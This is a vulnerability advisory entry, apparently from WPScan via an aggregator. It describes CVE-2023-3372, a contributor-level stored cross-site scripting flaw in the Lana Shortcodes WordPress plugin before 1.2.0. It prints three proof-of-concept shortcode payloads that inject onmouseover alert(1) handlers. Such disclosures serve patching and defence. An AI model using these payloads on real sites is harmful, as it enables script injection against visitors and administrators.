Lucene search
WebbernautWPEX-ID:3396B734-9A10-4070-802D-F9D01CC6EB74HistoryJun 26, 2023 - 12:00 a.m.
Lana Shortcodes < 1.2.0 - Contributor+ Stored XSS
2023-06-2600:00:00
Webbernaut
64
lana shortcodes
contributor+
stored xss
button shortcode
icon shortcode
label shortcode
xss exploit
EPSS
0
Percentile
14.0%
The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which allows users with the contributor role and above to perform Stored Cross-Site Scripting attacks.
Insert any of the following shortcodes in a page/post:
*Button shortcode
[lana_button size="md" type='" onmouseover="alert(1)" style="background:red;"']Lana Button[/lana_button]
*Icon shortcode
[lana_icon name='home" onmouseover="alert(1)" style="background:red;"']
*Label shortcode
[lana_label type='" onmouseover="alert(1)" style="background:red;"']New[/lana_label]Related
prion
prion
Cross site scripting
2024-01-16 16:15:00
cvelist
cvelist
CVE-2023-3372 Lana Shortcodes < 1.2.0 - Contributor+ Stored XSS
2024-01-16 15:55:36
cve
cve
CVE-2023-3372
2024-01-16 16:15:11
nvd
nvd
CVE-2023-3372
2024-01-16 16:15:11
wpvulndb
wpvulndb
Lana Shortcodes < 1.2.0 - Contributor+ Stored XSS
2023-06-26 00:00:00
wordfence
wordfence